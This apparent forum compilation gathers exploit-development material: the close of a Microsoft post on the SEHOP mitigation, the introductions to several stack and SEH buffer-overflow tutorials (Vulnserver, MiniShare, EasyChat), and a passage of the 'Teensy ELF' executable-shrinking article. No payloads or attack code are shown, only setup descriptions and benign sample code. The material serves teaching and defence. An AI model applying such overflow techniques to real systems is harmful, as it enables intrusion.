that the platform would need to properly mitigate this technique. Microsoft pursued this approach and released a functional mitigation with Visual Studio 2003. This mitigation took the form of a new linker flag known as /SAFESEH. Unfortunately, the need to rebuild executables in combination with the inability to completely handle cases where an exception handler is pointed outside of an image file make the SafeSEH approach less attractive. The details relating to how SafeSEH works are beyond the scope of this article, but more information can be found on MSDN[2]. The second approach involves adding dynamic checks to the exception dispatcher that do not rely on having metadata derived from a binary. This is the approach taken by SEHOP. At a high-level, SEHOP prevents attackers from being able to use the SEH overwrite technique by verifying that a thread’s exception handler list is intact before allowing any of the registered exception handlers to be called. This mitigation technique is made possible because of an implicit side effect of an SEH overwrite. When the majority of stack-based buffer overflows occur, an attacker will implicitly overwrite the next pointer of an exception registration record prior to overwriting the record’s exception handler function pointer. Since the next pointer is corrupted, the integrity of the exception handler chain is broken. This insight, in combination with ASLR, is what allows SEHOP to effectively mitigate SEH overwrites. From an implementation perspective, SEHOP achieves this functionality in two distinct steps. The first step involves the insertion of a symbolic exception registration record as the tail record in a thread’s exception handler list. This step occurs when a thread first begins executing in user mode. Since exception registration records are always inserted at the head of the exception handler list, the symbolic record is guaranteed to be the final exception registration record. The second step consists of walking the exception handler list at the time that an exception is being dispatched to ensure that the symbolic record can be reached and that it is valid. This step happens when the exception dispatcher is notified that an exception has occurred in user mode. If the symbolic record cannot be reached, the exception dispatcher can assume that the exception handler list is corrupt and that an SEH overwrite may have occurred. The exception dispatcher is then able to safely terminate the process. If the symbolic record is found, the exception dispatcher is able to proceed as it normally would and call each of the registered exception handlers. An illustration of this logic can be seen in the following diagram: How you can use SEHOP SEHOP is enabled by default on Windows Server 2008 and disabled by default on Windows Vista SP1. The primary reason this feature was disabled by default on Windows Vista SP1 was due to a lack of adequate application compatibility data. KB article 956607 documents how SEHOP can be enabled or disabled on a system-wide basis[3]. Wrapping up We are continuing to investigate new and enhanced exploit mitigation techniques and feel that SEHOP is a valuable addition that can help protect users. We encourage users to enable this feature if it is not enabled by default in order to better protect themselves against the SEH overwrite exploitation technique. For more information about the origins of SEH overwrites and SEHOP, it may be helpful to refer to the cited work[1,5]. Matt Miller, MSEC Security Science *Posting is provided "AS IS" with no warranties, and confers no rights.* References [1] Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server. Sep, 2003. Information Security Software [2] Microsoft Corporation. /SAFESEH (Image has Safe Exception Handlers). /SAFESEH (Image has Safe Exception Handlers) [3] Microsoft Corporation. SEHOP. How to enable Structured Exception Handling Overwrite Protection (SEHOP) in Windows operating systems [4] Microsoft Corporation. Microsoft Security Intelligence Report volume 5. Nov, 2008. Download details: Microsoft Security Intelligence Report volume 5 (January [5] skape. Preventing the Exploitation of SEH Overwrites. Sep, 2006. Uninformed - vol 5 article 2 Sursa: Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP - Security Research & Defense - Site Home - TechNet Blogs

Buffer Overflows and You Magical gnomes present: Buffer Overflows and You Is it the 90's? Are you wondering why your server is running slow? Why it's trying to ping flood some host in California? Why someone else is logged into your machine and you've recently become a prominent porn hosting provider? This site will help you figure it all out. And if you have a time machine, you can probably go back and do it to someone else! Before continuing, it's important to note that this guide is designed for 64-bit systems. If you're trying any of these examples on a 32-bit machine, or even a 64-bit machine running a 32-bit kernel, you're probably going to run into differences. There are also a number of prerequisites to understanding this material. You should be comfortable with C programming. You should be able to understand x86 assembly (you don't necessarily have to be good at writing it - it just shouldn't scare you). Finally, you should be familiar with Linux in general. Commands like chmod should be second nature to you. Introduction Welcome to "Buffer Overflows and You." Today we're going to talk about computers. In particular, I'd like to focus on something called a "buffer overflow." What does that mean? Well, let's start by taking a step back and looking at your average computer program. A modern computer generally runs one "master process," the operating system. The OS is responsible for managing all of the machine's resources, such as memory, disk, access to the video card and other peripherals, etc. The OS also provides an abstraction that makes it easier for developers to write programs to run on the computer without needing intimate knowledge about the machine's architecture. Virtual memory In the context provided by the operating system, many other "user" processes are running. Because multiple processes are running at what can be considered essentially the same time*, the OS must provide protection between processes. One protection mechanism that modern operating systems and architectures provide is called virtual memory. Through hardware support and additional code in the operating system, virtual memory allows each user process to act as though it is the only thing running on the computer. It gives each process a completely separate address space. This is facilitated through the use of page tables, as illustrated above. Page tables map the virtual addresses used by the running process into physical addresses that correspond to actual memory. It's good to know this information when looking at a particular process' address space. You'll notice that if you look at the memory map for two different processes there are a lot of common addresses. Let's try it out... First let's create a really simple program. Copy this code into a file called "sample1.c" #include <stdio.h> int main() { char c; printf("I am a running instance, or process, of program 1.\n"); printf("My PID is %d\n", getpid()); printf("Press enter to exit...\n"); c = getchar(); return 0; } ow let's run it... $ gcc -o sample1 sample1.c $ ./sample1 I am a running instance, or process, of program 1. My PID is 23814 Press enter to exit... This creates a single instance of the program, called a process, with the shown PID. You'll probably see a different number for the PID. They're assigned sequentially as programs run. Let's look at this process' memory map in a separate terminal, with the process still running: $ pmap 23814 # If you don't have pmap installed, use 'cat /proc/23814/maps' 23814: ./simple1 0000000000400000 4K r-x-- /home/turkstra/cs526/simple1 0000000000600000 4K rw--- /home/turkstra/cs526/simple1 0000003191400000 120K r-x-- /lib64/ld-2.11.1.so 000000319161d000 4K r---- /lib64/ld-2.11.1.so 000000319161e000 4K rw--- /lib64/ld-2.11.1.so 000000319161f000 4K rw--- [ anon ] 0000003191800000 1468K r-x-- /lib64/libc-2.11.1.so 000000319196f000 2048K ----- /lib64/libc-2.11.1.so 0000003191b6f000 16K r---- /lib64/libc-2.11.1.so 0000003191b73000 4K rw--- /lib64/libc-2.11.1.so 0000003191b74000 20K rw--- [ anon ] 00007f09d02ce000 12K rw--- [ anon ] 00007f09d02f2000 12K rw--- [ anon ] 00007fff14cb7000 84K rw--- [ stack ] 00007fff14d00000 4K r-x-- [ anon ] ffffffffff600000 4K r-x-- [ anon ] total 3812K Let's look at the memory map for another running program, our shell... $ pmap $$ # $$ is the pid of the currently running process (your shell) 27379: -bash 0000000000400000 836K r-x-- /bin/bash 00000000006d0000 40K rw--- /bin/bash 00000000006da000 20K rw--- [ anon ] 0000000001dc4000 396K rw--- [ anon ] 0000003191400000 120K r-x-- /lib64/ld-2.11.1.so 000000319161d000 4K r---- /lib64/ld-2.11.1.so 000000319161e000 4K rw--- /lib64/ld-2.11.1.so 000000319161f000 4K rw--- [ anon ] 0000003191800000 1468K r-x-- /lib64/libc-2.11.1.so 000000319196f000 2048K ----- /lib64/libc-2.11.1.so 0000003191b6f000 16K r---- /lib64/libc-2.11.1.so 0000003191b73000 4K rw--- /lib64/libc-2.11.1.so 0000003191b74000 20K rw--- [ anon ] 0000003192000000 8K r-x-- /lib64/libdl-2.11.1.so 0000003192002000 2048K ----- /lib64/libdl-2.11.1.so 0000003192202000 4K r---- /lib64/libdl-2.11.1.so 0000003192203000 4K rw--- /lib64/libdl-2.11.1.so 00000031a0c00000 116K r-x-- /lib64/libtinfo.so.5.7 00000031a0c1d000 2048K ----- /lib64/libtinfo.so.5.7 00000031a0e1d000 16K rw--- /lib64/libtinfo.so.5.7 00007ffdbed49000 48K r-x-- /lib64/libnss_files-2.11.1.so 00007ffdbed55000 2044K ----- /lib64/libnss_files-2.11.1.so 00007ffdbef54000 4K r---- /lib64/libnss_files-2.11.1.so 00007ffdbef55000 4K rw--- /lib64/libnss_files-2.11.1.so 00007ffdbef56000 96452K r---- /usr/lib/locale/locale-archive 00007ffdc4d87000 12K rw--- [ anon ] 00007ffdc4da4000 8K rw--- [ anon ] 00007ffdc4da6000 28K r--s- /usr/lib64/gconv/gconv-modules.cache 00007ffdc4dad000 4K rw--- [ anon ] 00007fff28c16000 84K rw--- [ stack ] 00007fff28d5f000 4K r-x-- [ anon ] ffffffffff600000 4K r-x-- [ anon ] total 107920K Notice how even though both processes are running at the same time, they both start at the same address - 0x00400000 in this example. This is possible because of virtual memory. They both start at the same virtual address. But each individual virtual address points to a different physical address as mentioned above. Tutorial: http://turkeyland.net/projects/overflow/intro.php

Stack Based Buffer Overflow Tutorial, part 1 — Introduction March 9th, 2011|By: Bradshaw Stephen Introduction This tutorial, in three parts, will cover the process of writing a simple stack based buffer overflow exploit based on a known vulnerability in the Vulnserver application. Vulnserver is a Windows server application with a number of exploitable vulnerabilities deliberately engineered in, and was designed to act as a target application to teach and practice basic fuzzing, debugging and exploitation skills. More information on Vulnserver, including a download link, is available here: The Grey Corner: Introducing Vulnserver This tutorial covers how to confirm that a particular type of stack based overflow vulnerability is exploitable, as well as how to actually develop the exploit. The process of discovering vulnerabilities however is not covered in this tutorial. To learn one method by which such vulnerabilities can be discovered, you can check out a previous Vulnserver related article on fuzzing, available here: An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities | InfoSec Resources Fuzzer Automation with SPIKE | InfoSec Resources This tutorial will also assume that the reader has a reasonable level of skill in using the OllyDbg or Immunity Debugger debugging applications, as well as a basic knowledge of X86 assembly language. For those who are new to these debuggers, or who may feel they need a refresher in assembly, the required skills are covered in the following links: Debugging Fundamentals for Exploit Development | InfoSec Resources OllyDbg Tricks for Exploit Development | InfoSec Resources System requirements and setup The following software is required to follow along with this tutorial: A 32 bit Windows System. I would suggest sticking to reasonably recent windows desktop systems such as Windows XP SP2 and up, Windows Vista or Windows 7, as these are the systems that I have personally tested. Windows 2000 desktop and server based systems may also work, but there are no guarantees. Vulnserver on your Windows system. You can obtain information about the program (which should be read before use) and download it from here: The Grey Corner: Introducing Vulnserver OlldyDbg 1.10 on your Windows system. You can also use Immunity Debugger if you prefer, but just keep in mind your screenshots will appear slightly different to mine. OllyDbg can be obtained here: OllyDbg v1.10 An instance of the Perl script interpreter. You can run this on either your Windows machine or on a Linux attacking system. Linux systems should already have Perl preinstalled, but if you want to run it on windows you can obtain a Perl install for free from here: ActivePerl is Perl for Windows, Mac, Linux, AIX, HP-UX & Solaris | ActiveState A recently updated copy of Metasploit 3. You can again run this on either your Windows machine or on a Linux attacking system, although I recommend running it on a Linux system. See the following paragraphs for more detail. If you run BackTrack 4 R2 for an attacking system, as suggested below, Metasploit is included. Otherwise Metasploit can be obtained for Windows and Linux from here: Metasploit Framework Penetration Testing Software | Metasploit Project My personal setup while writing this tutorial was to execute Metasploit commands and run my exploit Perl scripts from a Linux Virtual Machine running BackTrack 4 R2. This means that command syntax provided in this document will be for Linux systems, so if you are following along on Windows you will have to modify your commands as appropriate. I have chosen to run Metasploit and Perl from Linux because components of the Metasploit framework can be broken by many of the common Anti Virus solutions commonly installed on Windows systems. In addition, firing up a BackTrack VM which already includes Metasploit and Perl can be much quicker than manually installing Perl and Metasploit on your Windows system, especially if you already have a BackTrack environment handy. If your Windows system is running a firewall or HIPS (Host Intrusion Prevention System), you may need to allow the appropriate traffic and disable certain protection features in order to follow this tutorial. We will be creating an exploit that makes Vulnserver listen for shell sessions on a newly bound TCP port, and firewalls and possibly HIPS software may prevent this from working. Certain HIPS software may also implement ASLR, which could also be problematic. Discussing firewall and HIPS bypass techniques is a little beyond the scope of this tutorial, so configure these appropriately so they don’t get in the way. I am also assuming for the purposes of this tutorial that your Windows system will not have hardware DEP enabled for all programs. The default setting for Windows XP, Windows Vista and Windows 7 is to enable hardware DEP for essential Windows programs and services only, so unless you have specifically changed your DEP settings your system should already be configured appropriately. See the following links for more information: Data Execution Prevention - Wikipedia, the free encyclopedia A detailed description of the Data Execution Prevention (DEP) feature in Windows XP Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows Server 2003 My Windows Vulnserver system will be listening on the address 192.168.56.1 TCP port 9999, so this is the target address that I will use when running my Perl scripts. Make sure you replace this with the appropriate values if your Vulnserver instance is running elsewhere. Part 1: http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/ Part 2: http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-%E2%80%94-exploiting-the-stack-overflow/ Part 3: http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode/

Tutorial: SEH Based Exploits and the Development Process Tutorial by Mark Nicholls AKA n1p The intent of this exploit tutorial is to educate the reader on the use and understanding of vulnerabilities and exploit development. This will hopefully enable readers to gain a better understanding of the use of exploitation tools and what goes on underneath to more accurately assess the risk of discovered vulnerabilities in a computer environment. It is important for security consultants and ethical hackers to understand how buffer overflows actually work, as having such knowledge will improve penetration testing capabilities. It will also give you the tools to more accurately assess the risk of vulnerabilities and develop effective countermeasures for exploits doing the rounds in the wild. With this in, I am going to focus exclusively on the practical skills needed to exploit Structured Exception Handler buffer overflows. I won't go into too much detail regarding the theory of how they work, or how buffer overflows can be discovered. There are many other resources available on this subject, and I encourage you to research this further Warning! Please note that this tutorial is intended for educational purposes only, and skills gained here should NOT be used to attack any system for which you don't have permission to access. It is illegal. Brief Intro to Structured Exception Handlers (SEH) An exception handler is a piece of code that is written inside an application with the purpose of dealing with cleanup activities when the application throws an exception error. A typical exception handler looks like this: try { line = console.readLine(); } catch { (Exception e) { console.printLine("Error: " + e.message()); } } When no exception handlers have been coded by a developer, there is a default Structured Exception Handler that is used to handle exceptions within Windows programs. Every process has an OS supplied SEH, and when a Windows program has an exception that it cannot handle itself, control is passed to a SEH address that has code that can be used to show a dialog box explaining that the program has crashed. As seen below: About Structured Exception Handling (Windows) A Crash Course on theDepths of Win32 Structured Exception Handling, MSJ January 1997 This default handler is seen at 0xFFFFFF and viewable in a debugger as such in the Stack window below. This is the end of the Stack Chain and should always be hit if the program cannot successfully handle crashes. The SEH chain is essentially a linked list that is laid out in a structure similar to the chain below with the default OS handler at the end. Each code block has its own stack frame, and the pointer to the exception handler is part of this stack frame. Information about the exception handler is stored in an exception_registration structure on the stack. Each record then has the following info: • A pointer to the next SEH record • Pointer to address of the exception handler (SE Handler) Ok, that’s enough theory. References are provided at the end for further reading and learning. On to the practical stuff... Tutorial: http://www.ethicalhacker.net/content/view/309/2/

Stack Based Windows Buffer Overflow Tutorial Thursday, January 7, 2010 Introduction One thing I have always maintained is that aspiring or practicing penetration testers who use an exploitation product (such as CANVAS, Core Impact, Metasploit) should know how buffer overflows actually work. Having this knowledge will help you understand the circumstances under which these products can work, will help you troubleshoot when things don't work and will correct unrealistic expectations about what the products are capable of. In addition, being able to reproduce buffer overflow exploits will also give you the tools to more accurately assess the risk of discovered vulnerabilities as well as to develop effective countermeasures for exploits out in the wild. These are important skills for incident responders and for those attempting to protect their networks. To this end, I am going to write a series of tutorials on how to write buffer overflows. This is the first entry in this series, and it will cover how to recreate a simple stack based buffer overflow in the Windows application MiniShare 1.4.1. MiniShare 1.4.1 is an older version of the MiniShare application and the vulnerability we will be attacking has been patched in the current version of the application. While this vulnerability could probably be considered out of date, it does provide a very good example of a simple stack based buffer overflow, which makes it ideal to use in a beginners buffer overflow tutorial such as this. In this tutorial I am going to focus exclusively on the practical skills needed to exploit buffer overflows, and I won't go into any uneccessary details on the theory of how they work, or how buffer overflows can be discovered. There are many other resources available on buffer overflow theory, and I will cover off on the vulnerability discovery angle in a later post. Update: Blog reader Mark has created a video version of this tutorial, so if you like videos with your tutorials, check it out. It can be found here. Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. Its illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned. Tutorial: http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html

Understanding SEH (Structured Exception Handler) Exploitation By Donny Hubener July 6, 2009 1) Introduction This paper is written to discuss the design and theory of how a Structured Exception Handler (SEH) exploit can be written to target a Windows host. We use the buffer overflow vulnerability in the ESF EasyChat Server software as a detailed example of this exploit type. While the paper attempts to cover the topics for those new to writing exploits, it still makes some assumptions about the reader’s related experience. For instance, the paper does not go into detail about how to write assembly code and how it is used for shellcode as the exploit payload. It also does not talk about the difference between hexadecimal and decimal number systems which is required to understand many of the numeric values used throughout the document. Here is a list of topics you should be familiar with before continuing to read this paper: - Hexadecimal number system - Basic understanding of how Assembly language is used - Basic understanding of Assembly Opcode Mnemomics - Understanding of memory pointers - General idea of memory registers and their use - Some experience with writing program functions of any language Additionally, it is recommended to obtain these items to follow along with this exercise: - A WindowsXP SP1 machine (Virtual Machine is Ok) (Victim) - Ollydbg (Free) installed on XP SP1 box - OllySSEH Ollydbg Plugin (Free) installed on XP SP1 box - ESF EasyChat Server 2.2 (Free) - Another machine with Python (Free) installed. (can be any os) (Attacker) One of the most important concepts to understand when writing functional exploits is that they are the result of a software bug. If all programs were perfectly written such that there were no flaws, there would be no vulnerabilities to exploit. In many cases, an attacker may be able to cause a program to crash due to insufficient error checking within the program. Causing the program to crash would be considered a Denial of Service (DOS) attack. However, causing a DOS condition in a program does not mean it can be fully exploited, but it does indicate that it could be possible. While there are several different types of attack vectors available to create a fully functional exploit, there are many cases where the conditions of the program or environment do not provide a viable exploit using any of the known vectors. This article is written with the assumption that an SEH attack vector is possible in the target software, and it is important to understand that this vector may not always be present in other vulnerable software. Before we get started, take note that we will be mostly discussing the operation of two different software routines that are running simultaneously. One routine will be the vulnerable software program and it’s supporting function libraries that we are attempting to corrupt. For us, this first routine will be the EasyChat server software. The second routine is the Windows system exception dispatcher which constantly runs waiting for an error condition to occur. The dispatcher routine attempts to handle any exceptions (errors) that may occur in the first routine (EasyChat). As we go through this paper, try to keep these two routines separate in your mind. Download: http://www.i-hacked.com/freefiles/EasyChat_SEH_exploit_v1.3.pdf

Teensy ELF Executables for Linux She studied it carefully for about 15 minutes. Finally, she spoke. "There's something written on here," she said, frowning, "but it's really teensy." [Dave Barry, "The Columnist's Caper"] If you're a programmer who's become fed up with software bloat, then may you find herein the perfect antidote. This document explores methods for squeezing excess bytes out of simple programs. (Of course, the more practical purpose of this document is to describe a few of the inner workings of the ELF file format and the Linux operating system. But hopefully you can also learn something about how to make really teensy ELF executables in the process.) Please note that the information and examples given here are, for the most part, specific to ELF executables on a Linux platform running under an Intel-386 architecture. I imagine that a good bit of the information is applicable to other ELF-based Unices, but my experiences with such are too limited for me to say with certainty. Please also note that if you aren't a little bit familiar with assembly code, you may find parts of this document sort of hard to follow. (The assembly code that appears in this document is written using Nasm; see The Netwide Assembler: NASM.) In order to start, we need a program. Almost any program will do, but the simpler the program the better, since we're more interested in how small we can make the executable than what the program does. Let's take an incredibly simple program, one that does nothing but return a number back to the operating system. Why not? After all, Unix already comes with no less than two such programs: true and false. Since 0 and 1 are already taken, we'll use the number 42. So, here is our first version: /* tiny.c */ int main(void) { return 42; } which we can compile and test like so: $ gcc -Wall tiny.c $ ./a.out ; echo $? 42 So. How big is it? Well, on my machine, I get: $ wc -c a.out 3998 a.out (Yours will probably differ some.) Admittedly, that's pretty small by today's standards, but it's almost certainly bigger than it needs to be. The obvious first step is to strip the executable: $ gcc -Wall -s tiny.c $ ./a.out ; echo $? 42 $ wc -c a.out 2632 a.out That's certainly an improvement. For the next step, how about optimizing? $ gcc -Wall -s -O3 tiny.c $ wc -c a.out 2616 a.out That also helped, but only just. Which makes sense: there's hardly anything there to optimize. It seems unlikely that there's much else we can do to shrink a one-statement C program. We're going to have to leave C behind, and use assembler instead. Hopefully, this will cut out all the extra overhead that C programs automatically incur. So, on to our second version. All we need to do is return 42 from main(). In assembly language, this means that the function should set the accumulator, eax, to 42, and then return: ; tiny.asm BITS 32 GLOBAL main SECTION .text main: mov eax, 42 ret We can then build and test like so: $ nasm -f elf tiny.asm $ gcc -Wall -s tiny.o $ ./a.out ; echo $? 42 (Hey, who says assembly code is difficult?) And now how big is it? $ wc -c a.out 2604 a.out Looks like we shaved off a measly twelve bytes. So much for all the extra overhead that C automatically incurs, eh? Well, the problem is that we are still incurring a lot of overhead by using the main() interface. The linker is still adding an interface to the OS for us, and it is that interface that actually calls main(). So how do we get around that if we don't need it? The actual entry point that the linker uses by default is the symbol with the name _start. When we link with gcc, it automatically includes a _start routine, one that sets up argc and argv, among other things, and then calls main(). So, let's see if we can bypass this, and define our own _start routine: ; tiny.asm BITS 32 GLOBAL _start SECTION .text _start: mov eax, 42 ret Will gcc do what we want? $ nasm -f elf tiny.asm $ gcc -Wall -s tiny.o tiny.o(.text+0x0): multiple definition of `_start' /usr/lib/crt1.o(.text+0x0): first defined here /usr/lib/crt1.o(.text+0x36): undefined reference to `main' No. Well, actually, yes it will, but first we need to learn how to ask for what we want. It so happens that gcc recognizes an option called -nostartfiles. From the gcc info pages: -nostartfiles Do not use the standard system startup files when linking. The standard libraries are used normally. Aha! Now let's see what we can do: $ nasm -f elf tiny.asm $ gcc -Wall -s -nostartfiles tiny.o $ ./a.out ; echo $? Segmentation fault 139 Well, gcc didn't complain, but the program doesn't work. What went wrong? What went wrong is that we treated _start as if it were a C function, and tried to return from it. In reality, it's not a function at all. It's just a symbol in the object file which the linker uses to locate the program's entry point. When our program is invoked, it's invoked directly. If we were to look, we would see that the value on the top of the stack was the number 1, which is certainly very un-address-like. In fact, what is on the stack is our program's argc value. After this comes the elements of the argv array, including the terminating NULL element, followed by the elements of envp. And that's all. There is no return address on the stack. So, how does _start ever exit? Well, it calls the exit() function! That's what it's there for, after all. Actually, I lied. What it really does is call the _exit() function. (Notice the leading underscore.) exit() is required to finish up some tasks on behalf of the process, but those tasks will never have been started, because we're bypassing the library's startup code. So we need to bypass the library's shutdown code as well, and go directly to the operating system's shutdown processing. So, let's try this again. We're going to call _exit(), which is a function that takes a single integer argument. So all we need to do is push the number onto the stack and call the function. (We also need to declare _exit() as external.) Here's our assembly: ; tiny.asm BITS 32 EXTERN _exit GLOBAL _start SECTION .text _start: push dword 42 call _exit And we build and test as before: $ nasm -f elf tiny.asm $ gcc -Wall -s -nostartfiles tiny.o $ ./a.out ; echo $? 42 Success at last! And now how big is it? $ wc -c a.out 1340 a.out Almost half the size! Not bad. Not bad at all. Hmmm ... so what other interesting obscure options does gcc have? Well, this one, appearing immediately after -nostartfiles in the documentation, is certainly eye-catching: -nostdlib Don't use the standard system libraries and startup files when linking. Only the files you specify will be passed to the linker. That's gotta be worth investigating: $ gcc -Wall -s -nostdlib tiny.o tiny.o(.text+0x6): undefined reference to `_exit' Oops. That's right ... _exit() is, after all, a library function. It has to be filled in from somewhere. Okay. But surely, we don't need libc's help just to end a program, do we? No, we don't. If we're willing to leave behind all pretenses of portability, we can make our program exit without having to link with anything else. First, though, we need to know how to make a system call under Linux. Linux, like most operating systems, provides basic necessities to the programs it hosts via system calls. This includes things like opening a file, reading and writing to file handles — and, of course, shutting down a process. The Linux system call interface is a single instruction: int 0x80. All system calls are done via this interrupt. To make a system call, eax should contain a number that indicates which system call is being invoked, and other registers are used to hold the arguments, if any. If the system call takes one argument, it will be in ebx; a system call with two arguments will use ebx and ecx. Likewise, edx, esi, and edi are used if a third, fourth, or fifth argument is required, respectively. Upon return from a system call, eax will contain the return value. If an error occurs, eax will contain a negative value, with the absolute value indicating the error. The numbers for the different system calls are listed in /usr/include/asm/unistd.h. A quick peek will tell us that the exit system call is assigned the number 1. Like the C function, it takes one argument, the value to return to the parent process, and so this will go into ebx. We now know all we need to know to create the next version of our program, one that won't need assistance from any external functions to work: ; tiny.asm BITS 32 GLOBAL _start SECTION .text _start: mov eax, 1 mov ebx, 42 int 0x80 Here we go: $ nasm -f elf tiny.asm $ gcc -Wall -s -nostdlib tiny.o $ ./a.out ; echo $? 42 Ta-da! And the size? $ wc -c a.out 372 a.out Now that's tiny! Almost a fourth the size of the previous version! So ... can we do anything else to make it even smaller? How about using shorter instructions? If we generate a list file for the assembly code, we'll find the following: 00000000 B801000000 mov eax, 1 00000005 BB2A000000 mov ebx, 42 0000000A CD80 int 0x80 Well, gee, we don't need to initialize all of ebx, since the operating system is only going to use the lowest byte. Setting bl alone will be sufficient, and will take two bytes instead of five. We can also set eax to one by xor'ing it to zero and then using a one-byte increment instruction; this will save two more bytes. 00000000 31C0 xor eax, eax 00000002 40 inc eax 00000003 B32A mov bl, 42 00000005 CD80 int 0x80 I think it's pretty safe to say that we're not going to make this program any smaller than that. As an aside, we might as well stop using gcc to link our executable, seeing as we're not using any of its added functionality, and just call the linker, ld, ourselves: $ nasm -f elf tiny.asm $ ld -s tiny.o $ ./a.out ; echo $? 42 $ wc -c a.out 368 a.out Four bytes smaller. (Hey! Didn't we shave five bytes off? Well, we did, but alignment considerations within the ELF file caused it to require an extra byte of padding.) So ... have we reached the end? Is this as small as we can go? Well, hm. Our program is now seven bytes long. Do ELF files really require 361 bytes of overhead? What's in this file, anyway? We can peek into the contents of the file using objdump: $ objdump -x a.out | less The output may look like gibberish, but right now let's just focus on the list of sections: Sections: Idx Name Size VMA LMA File off Algn 0 .text 00000007 08048080 08048080 00000080 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .comment 0000001c 00000000 00000000 00000087 2**0 CONTENTS, READONLY The complete .text section is listed as being seven bytes long, just as we specified. So it seems safe to conclude that we now have complete control of the machine-language content of our program. But then there's this other section named ".comment". Who ordered that? And it's 28 bytes long, even! We may not be sure what this .comment section is, but it seems a good bet that it isn't a necessary feature.... The .comment section is listed as being located at file offset 00000087 (hexadecimal). If we use a hexdump program to look at that area of the file, we will see: 00000080: 31C0 40B3 2ACD 8000 5468 6520 4E65 7477 1.@.*...The Netw 00000090: 6964 6520 4173 7365 6D62 6C65 7220 302E ide Assembler 0. 000000A0: 3938 0000 2E73 796D 7461 6200 2E73 7472 98...symtab..str Well, well, well. Who'd've thought that Nasm would undermine our quest like this? Maybe we should switch to using gas, AT&T syntax notwithstanding.... Alas, if we do: ; tiny.s .globl _start .text _start: xorl %eax, %eax incl %eax movb $42, %bl int $0x80 ... we will find: $ gcc -s -nostdlib tiny.s $ ./a.out ; echo $? 42 $ wc -c a.out 368 a.out ... no difference! Well, actually there is some difference. Turning once again to objdump, we see: Sections: Idx Name Size VMA LMA File off Algn 0 .text 00000007 08048074 08048074 00000074 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000000 0804907c 0804907c 0000007c 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 0804907c 0804907c 0000007c 2**2 ALLOC No comment section, but now we have two useless sections for storing our nonexistent data. And even though these sections are zero bytes long, they incur overhead, bringing our file size up for no good reason. Okay, so just what is all this overhead, and how do we get rid of it? Well, to answer these questions, we must begin diving into some real wizardry. We need to understand the ELF format. The canonical document describing the ELF format for Intel-386 architectures can be found at http://refspecs.freestandards.org/elf/elf.pdf. (You can also find a flat-text version of version 1.0 of the standard at http://www.muppetlabs.com/~breadbox/software/ELF.txt.) This specification covers a lot of territory, so if you'd prefer to not read the whole thing yourself, I'll understand. Basically, here's what we need to know: Every ELF file begins with a structure called the ELF header. This structure is 52 bytes long, and contains several pieces of information that describe the contents of the file. For example, the first sixteen bytes contain an "identifier", which includes the file's magic-number signature (7F 45 4C 46), and some one-byte flags indicating that the contents are 32-bit or 64-bit, little-endian or big-endian, etc. Other fields in the ELF header contain information such as: the target architecture; whether the ELF file is an executable, an object file, or a shared-object library; the program's starting address; and the locations within the file of the program header table and the section header table. These two tables can appear anywhere in the file, but typically the former appears immediately following the ELF header, and the latter appears at or near the end of the file. The two tables serve similar purposes, in that they identify the component parts of the file. However, the section header table focuses more on identifying where the various parts of the program are within the file, while the program header table describes where and how these parts are to be loaded into memory. In brief, the section header table is for use by the compiler and linker, while the program header table is for use by the program loader. The program header table is optional for object files, and in practice is never present. Likewise, the section header table is optional for executables — but is almost always present! So, this is the answer to our first question. A fair piece of the overhead in our program is a completely unnecessary section header table, and maybe some equally useless sections that don't contribute to our program's memory image. So, we turn to our second question: how do we go about getting rid of all that? Alas, we're on our own here. None of the standard tools will deign to make an executable without a section header table of some kind. If we want such a thing, we'll have to do it ourselves. This doesn't quite mean that we have to pull out a binary editor and code the hexadecimal values by hand, though. Good old Nasm has a flat binary output format, which will serve us well. All we need now is the image of an empty ELF executable, which we can fill in with our program. Our program, and nothing else. We can look at the ELF specification, and /usr/include/linux/elf.h, and executables created by the standard tools, to figure out what our empty ELF executable should look like. But, if you're the impatient type, you can just use the one I've supplied here: BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: ; your program here filesize equ $ - $$ This image contains an ELF header, identifying the file as an Intel 386 executable, with no section header table and a program header table containing one entry. Said entry instructs the program loader to load the entire file into memory (it's normal behavior for a program to include its ELF header and program header table in its memory image) starting at memory address 0x08048000 (which is the default address for executables to load), and to begin executing the code at _start, which appears immediately after the program header table. No .data segment, no .bss segment, no commentary — nothing but the bare necessities. So, let's add in our little program: ; tiny.asm org 0x08048000 ; ; (as above) ; _start: mov bl, 42 xor eax, eax inc eax int 0x80 filesize equ $ - $$ and try it out: $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 We have just created an executable completely from scratch. How about that? And now, take a look at its size: $ wc -c a.out 91 a.out Ninety-one bytes. Less than one-fourth the size of our previous attempt, and less than one-fortieth the size of our first! What's more, this time we can account for every last byte. We know exactly what's in the executable, and why it needs to be there. This is, finally, the limit. We can't get any smaller than this. Or can we? Well, if you actually stopped to read the ELF specification, you might have noticed a couple of facts. 1) The different 